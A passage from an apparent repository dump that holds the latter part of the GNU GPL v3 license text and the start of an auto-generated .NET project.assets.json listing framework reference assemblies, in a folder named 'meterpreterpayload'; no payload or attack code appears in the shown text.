alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /meterpreterpayload/obj/project.assets.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 3, 3 | "targets": { 4 | ".NETCoreApp,Version=v2.0": { 5 | "Microsoft.NETCore.App/2.0.0": { 6 | "type": "package", 7 | "dependencies": { 8 | "Microsoft.NETCore.DotNetHostPolicy": "2.0.0", 9 | "Microsoft.NETCore.Platforms": "2.0.0", 10 | "NETStandard.Library": "2.0.0" 11 | }, 12 | "compile": { 13 | "ref/netcoreapp2.0/Microsoft.CSharp.dll": {}, 14 | "ref/netcoreapp2.0/Microsoft.VisualBasic.dll": {}, 15 | "ref/netcoreapp2.0/Microsoft.Win32.Primitives.dll": {}, 16 | "ref/netcoreapp2.0/System.AppContext.dll": {}, 17 | "ref/netcoreapp2.0/System.Buffers.dll": {}, 18 | "ref/netcoreapp2.0/System.Collections.Concurrent.dll": {}, 19 | "ref/netcoreapp2.0/System.Collections.Immutable.dll": {}, 20 | "ref/netcoreapp2.0/System.Collections.NonGeneric.dll": {}, 21 | "ref/netcoreapp2.0/System.Collections.Specialized.dll": {}, 22 | "ref/netcoreapp2.0/System.Collections.dll": {}, 23 | "ref/netcoreapp2.0/System.ComponentModel.Annotations.dll": {}, 24 | "ref/netcoreapp2.0/System.ComponentModel.Composition.dll": {}, 25 | "ref/netcoreapp2.0/System.ComponentModel.DataAnnotations.dll": {}, 26 | "ref/netcoreapp2.0/System.ComponentModel.EventBasedAsync.dll": {}, 27 | "ref/netcoreapp2.0/System.ComponentModel.Primitives.dll": {}, 28 | "ref/netcoreapp2.0/System.ComponentModel.TypeConverter.dll": {}, 29 | "ref/netcoreapp2.0/System.ComponentModel.dll": {}, 30 | "ref/netcoreapp2.0/System.Configuration.dll": {}, 31 | "ref/netcoreapp2.0/System.Console.dll": {}, 32 | "ref/netcoreapp2.0/System.Core.dll": {}, 33 | "ref/netcoreapp2.0/System.Data.Common.dll": {}, 34 | "ref/netcoreapp2.0/System.Data.dll": {}, 35 | "ref/netcoreapp2.0/System.Diagnostics.Contracts.dll": {}, 36 | "ref/netcoreapp2.0/System.Diagnostics.Debug.dll": {}, 37 | "ref/netcoreapp2.0/System.Diagnostics.DiagnosticSource.dll": {}, 38 | "ref/netcoreapp2.0/System.Diagnostics.FileVersionInfo.dll": {}, 39 | "ref/netcoreapp2.0/System.Diagnostics.Process.dll": {}, 40 | "ref/netcoreapp2.0/System.Diagnostics.StackTrace.dll": {}, 41 | "ref/netcoreapp2.0/System.Diagnostics.TextWriterTraceListener.dll": {}, 42 | "ref/netcoreapp2.0/System.Diagnostics.Tools.dll": {}, 43 | "ref/netcoreapp2.0/System.Diagnostics.TraceSource.dll": {}, 44 | "ref/netcoreapp2.0/System.Diagnostics.Tracing.dll": {}, 45 | "ref/netcoreapp2.0/System.Drawing.Primitives.dll": {}, 46 | "ref/netcoreapp2.0/System.Drawing.dll": {}, 47 | "ref/netcoreapp2.0/System.Dynamic.Runtime.dll": {}, 48 | "ref/netcoreapp2.0/System.Globalization.Calendars.dll": {}, 49 | "ref/netcoreapp2.0/System.Globalization.Extensions.dll": {}, 50 | "ref/netcoreapp2.0/System.Globalization.dll": {}, 51 | "ref/netcoreapp2.0/System.IO.Compression.FileSystem.dll": {}, 52 | "ref/netcoreapp2.0/System.IO.Compression.ZipFile.dll": {}, 53 | "ref/netcoreapp2.0/System.IO.Compression.dll": {}, 54 | "ref/netcoreapp2.0/System.IO.FileSystem.DriveInfo.dll": {}, 55 | "ref/netcoreapp2.0/System.IO.FileSystem.Primitives.dll": {}, 56 | "ref/netcoreapp2.0/System.IO.FileSystem.Watcher.dll": {}, 57 | "ref/netcoreapp2.0/System.IO.FileSystem.dll": {}, 58 | "ref/netcoreapp2.0/System.IO.IsolatedStorage.dll": {}, 59 | "ref/netcoreapp2.0/System.IO.MemoryMappedFiles.dll": {}, 60 | "ref/netcoreapp2.0/System.IO.Pipes.dll": {}, 61 | "ref/netcoreapp2.0/System.IO.UnmanagedMemoryStream.dll": {}, 62 | "ref/netcoreapp2.0/System.IO.dll": {}, 63 | "ref/netcoreapp2.0/System.Linq.Expressions.dll": {}, 64 | "ref/netcoreapp2.0/System.Linq.Parallel.dll": {}, 65 | "ref/netcoreapp2.0/System.Linq.Queryable.dll": {}, 66 | "ref/netcoreapp2.0/System.Linq.dll": {}, 67 | "ref/netcoreapp2.0/System.Net.Http.dll": {}, 68 | "ref/netcoreapp2.0/System.Net.HttpListener.dll": {}, 69 | "ref/netcoreapp2.0/System.Net.Mail.dll": {}, 70 | "ref/netcoreapp2.0/System.Net.NameResolution.dll": {}, 71 | "ref/netcoreapp2.0/System.Net.NetworkInformation.dll": {}, 72 | "ref/netcoreapp2.0/System.Net.Ping.dll": {}, 73 | "ref/netcoreapp2.0/System.Net.Primitives.dll": {}, 74 | "ref/netcoreapp2.0/System.Net.Requests.dll": {}, 75 | "ref/netcoreapp2.0/System.Net.Security.dll": {}, 76 | "ref/netcoreapp2.0/System.Net.ServicePoint.dll": {}, 77 | "ref/netcoreapp2.0/System.Net.Sockets.dll": {}, 78 | "ref/netcoreapp2.0/System.Net.WebClient.dll": {}, 79 | "ref/netcoreapp2.0/System.Net.WebHeaderCollection.dll": {}, 80 | "ref/netcoreapp2.0/System.Net.WebProxy.dll": {}, 81 | "ref/netcoreapp2.0/System.Net.WebSockets.Client.dll": {}, 82 | "ref/netcoreapp2.0/System.Net.WebSockets.dll": {}, 83 | "ref/netcoreapp2.0/System.Net.dll": {}, 84 | "ref/netcoreapp2.0/System.Numerics.Vectors.dll": {}, 85 | "ref/netcoreapp2.0/System.Numerics.dll": {}, 86 | "ref/netcoreapp2.0/System.ObjectModel.dll": {}, 87 | "ref/netcoreapp2.0/System.Reflection.DispatchProxy.dll": {}, 88 | "ref/netcoreapp2.0/System.Reflection.Emit.ILGeneration.dll": {}, 89 | "ref/netcoreapp2.0/System.Reflection.Emit.Lightweight.dll": {}, 90 | "ref/netcoreapp2.0/System.Reflection.Emit.dll": {}, 91 | "ref/netcoreapp2.0/System.Reflection.Extensions.dll": {}, 92 | "ref/netcoreapp2.0/System.Reflection.Metadata.dll": {}, 93 | "ref/netcoreapp2.0/System.Reflection.Primitives.dll": {}, 94 | "ref/netcoreapp2.0/System.Reflection.TypeExtensions.dll": {}, 95 | "ref/netcoreapp2.0/System.Reflection.dll": {}, 96 | "ref/netcoreapp2.0/System.Resources.Reader.dll": {}, 97 | "ref/netcoreapp2.0/System.Resources.ResourceManager.dll": {}, 98 | "ref/netcoreapp2.0/System.Resources.Writer.dll": {}, 99 | "ref/netcoreapp2.0/System.Runtime.CompilerServices.VisualC.dll": {}, 100 | "ref/netcoreapp2.0/System.Runtime.Extensions.dll": {}, 101 | "ref/netcoreapp2.0/System.Runtime.Handles.dll": {}, 102 | "ref/netcoreapp2.0/System.Runtime.InteropServices.RuntimeInformation.dll": {}, 103 | "ref/netcoreapp2.0/System.Runtime.InteropServices.WindowsRuntime.dll": {}, 104 | "ref/netcoreapp2.0/System.Runtime.InteropServices.dll": {}, 105 | "ref/netcoreapp2.0/System.Runtime.Loader.dll": {}, 106 | "ref/netcoreapp2.0/System.Runtime.Numerics.dll": {}, 107 | "ref/netcoreapp2.0/System.Runtime.Serialization.Formatters.dll": {}, 108 | "ref/netcoreapp2.0/System.Runtime.Serialization.Json.dll": {}, 109 | "ref/netcoreapp2.0/System.Runtime.Serialization.Primitives.dll": {}, 110 | "ref/netcoreapp2.0/System.Runtime.Serialization.Xml.dll": {}, 111 | "ref/netcoreapp2.0/System.Runtime.Serialization.dll": {}, 112 | "ref/netcoreapp2.0/System.Runtime.dll": {}, 113 | "ref/netcoreapp2.0/System.Security.Claims.dll": {}, 114 | "ref/netcoreapp2.0/System.Security.Cryptography.Algorithms.dll": {}, 115 | "ref/netcoreapp2.0/System.Security.Cryptography.Csp.dll": {}, 116 | "ref/netcoreapp2.0/System.Security.Cryptography.Encoding.dll": {}, 117 | "ref/netcoreapp2.0/System.Security.Cryptography.Primitives.dll": {}, 118 | "ref/netcoreapp2.0/System.Security.Cryptography.X509Certificates.dll": {}, 119 | "ref/netcoreapp2.0/System.Security.Principal.dll": {}, 120 | "ref/netcoreapp2.0/System.Security.SecureString.dll": {}, 121 | "ref/netcoreapp2.0/System.Security.dll": {}, 122 | "ref/netcoreapp2.0/System.ServiceModel.Web.dll": {}, 123 | "ref/netcoreapp2.0/System.ServiceProcess.dll": {}, 124 | "ref/netcoreapp2.0/System.Text.Encoding.Extensions.dll": {}, 125 | "ref/netcoreapp2.0/System.Text.Encoding.dll": {}, 126 | "ref/netcoreapp2.0/System.Text.RegularExpressions.dll": {}, 127 | "ref/netcoreapp2.0/System.Threading.Overlapped.dll": {}, 128 | "ref/netcoreapp2.0/System.Threading.Tasks.Dataflow.dll": {}, 129 | "ref/netcoreapp2.0/System.Threading.Tasks.Extensions.dll": {}, 130 | "ref/netcoreapp2.0/System.Threading.Tasks.Parallel.dll": {}, 131 | "ref/netcoreapp2.0/System.Threading.Tasks.dll": {}, 132 | "ref/netcoreapp2.0/System.Threading.Thread.dll": {}, 133 | "ref/netcoreapp2.0/System.Threading.ThreadPool.dll": {}, 134 | "ref/netcoreapp2.0/System.Threading.Timer.dll": {}, 135 | "ref/netcoreapp2.0/System.Threading.dll": {}, 136 | "ref/netcoreapp2.0/System.Transactions.Local.dll": {}, 137 | "ref/netcoreapp2.0/System.Transactions.dll": {}, 138 | "ref/netcoreapp2.0/System.ValueTuple.dll": {}, 139 | "ref/netcoreapp2.0/System.Web.HttpUtility.dll": {}, 140 | "ref/netcoreapp2.0/System.Web.dll": {}, 141 | "ref/netcoreapp2.0/System.Windows.dll": {}, 142 | "ref/netcoreapp2.0/System.Xml.Linq.dll": {}, 143 | "ref/netcoreapp2.0/System.Xml.ReaderWriter.dll": {}, 144 | "ref/netcoreapp2.0/System.Xml.Serialization.dll": {}, 145 | "ref/netcoreapp2.0/System.Xml.XDocument.dll": {}, 146 | "ref/netcoreapp2.0/System.Xml.XPath.XDocument.dll": {}, 147 | "ref/netcoreapp2.0/System.Xml.XPath.dll": {}, 148 | "ref/netcoreapp2.0/System.Xml.XmlDocument.dll": {}, 149 | "ref/netcoreapp2.0/System.Xml.XmlSerializer.dll": {}, 150 | "ref/netcoreapp2.0/System.Xml.dll": {}, 151 | "ref/netcoreapp2.0/System.dll": {}, 152 | "ref/netcoreapp2.0/WindowsBase.dll": {}, 153 | "ref/netcoreapp2.0/mscorlib.dll": {}, 154 | "ref/netcoreapp2.0/netstandard.dll": {} 155 | }, 156 | "build": { 157 | "build/netcoreapp2.0/Microsoft.NETCore.App.props": {}, 158 | "build/netcoreapp2.0/Microsoft.NETCore.App.targets": {} 159 | } 160 | }, 161 | "Microsoft.NETCore.DotNetAppHost/2.0.0": { 162 | "type": "package" 163 | }, 164 | "Microsoft.NETCore.DotNetHostPolicy/2.0.0": { 165 | "type": "package", 166 | "dependencies": { 167 | "Microsoft.NETCore.DotNetHostResolver": "2.0.0" 168 | } 169 | }, 170 | "Microsoft.NETCore.DotNetHostResolver/2.0.0": { 171 | "type": "package", 172 | "dependencies": { 173 | "Microsoft.NETCore.DotNetAppHost": "2.0.0" 174 | } 175 | }, 176 | "Microsoft.NETCore.Platforms/2.0.0": { 177 | "type": "package", 178 | "compile": { 179 | "lib/netstandard1.0/_._": {} 180 | }, 181 | "runtime": { 182 | "lib/netstandard1.0/_._": {} 183 | } 184 | }, 185 | "NETStandard.Library/2.0.0": { 186 | "type": "package", 187 | "dependencies": { 188 | "Microsoft.NETCore.Platforms": "1.1.0" 189 | }, 190 | "compile": { 191 | "lib/netstandard1.0/_._": {} 192 | }, 193 | "runtime": { 194 | "lib/netstandard1.0/_._": {} 195 | }, 196 | "build": { 197 | "build/netstandard2.0/NETStandard.Library.targets": {} 198 | } 199 | } 200 | } 201 | }, 202 | "libraries": { 203 | "Microsoft.NETCore.App/2.0.0": { 204 | "sha512": "/mzXF+UtZef+VpzzN88EpvFq5U6z4rj54ZMq/J968H6pcvyLOmcupmTRpJ3CJm8ILoCGh9WI7qpDdiKtuzswrQ==", 205 | "type": "package", 206 | "path": "microsoft.netcore.app/2.0.0", 207 | "files": [ 208 | ".nupkg.metadata", 209 | ".signature.p7s", 210 | "LICENSE.TXT", 211 | "Microsoft.NETCore.App.versions.txt", 212 | "THIRD-PARTY-NOTICES.TXT", 213 | "build/netcoreapp2.0/Microsoft.NETCore.App.PlatformManifest.txt", 214 | "build/netcoreapp2.0/Microsoft.NETCore.App.props", 215 | "build/netcoreapp2.0/Microsoft.NETCore.App.targets", 216 | "microsoft.netcore.app.2.0.0.nupkg.sha512", 217 | "microsoft.netcore.app.nuspec", 218 | "ref/netcoreapp/_._", 219 | "ref/netcoreapp2.0/Microsoft.CSharp.dll", 220 | "ref/netcoreapp2.0/Microsoft.CSharp.xml", 221 | "ref/netcoreapp2.0/Microsoft.VisualBasic.dll", 222 | "ref/netcoreapp2.0/Microsoft.VisualBasic.xml", 223 | "ref/netcoreapp2.0/Microsoft.Win32.Primitives.dll", 224 | "ref/netcoreapp2.0/Microsoft.Win32.Primitives.xml", 225 | "ref/netcoreapp2.0/System.AppContext.dll", 226 | "ref/netcoreapp2.0/System.AppContext.xml", 227 | "ref/netcoreapp2.0/System.Buffers.dll", 228 | "ref/netcoreapp2.0/System.Buffers.xml", 229 | "ref/netcoreapp2.0/System.Collections.Concurrent.dll", 230 | "ref/netcoreapp2.0/System.Collections.Concurrent.xml", 231 | "ref/netcoreapp2.0/System.Collections.Immutable.dll", 232 | "ref/netcoreapp2.0/System.Collections.Immutable.xml", 233 | "ref/netcoreapp2.0/System.Collections.NonGeneric.dll", 234 | "ref/netcoreapp2.0/System.Collections.NonGeneric.xml", 235 | "ref/netcoreapp2.0/System.Collections.Specialized.dll", 236 | "ref/netcoreapp2.0/System.Collections.Specialized.xml", 237 | "ref/netcoreapp2.0/System.Collections.dll", 238 | "ref/netcoreapp2.0/System.Collections.xml", 239 | "ref/netcoreapp2.0/System.ComponentModel.Annotations.dll", 240 | "ref/netcoreapp2.0/System.ComponentModel.Annotations.xml", 241 | 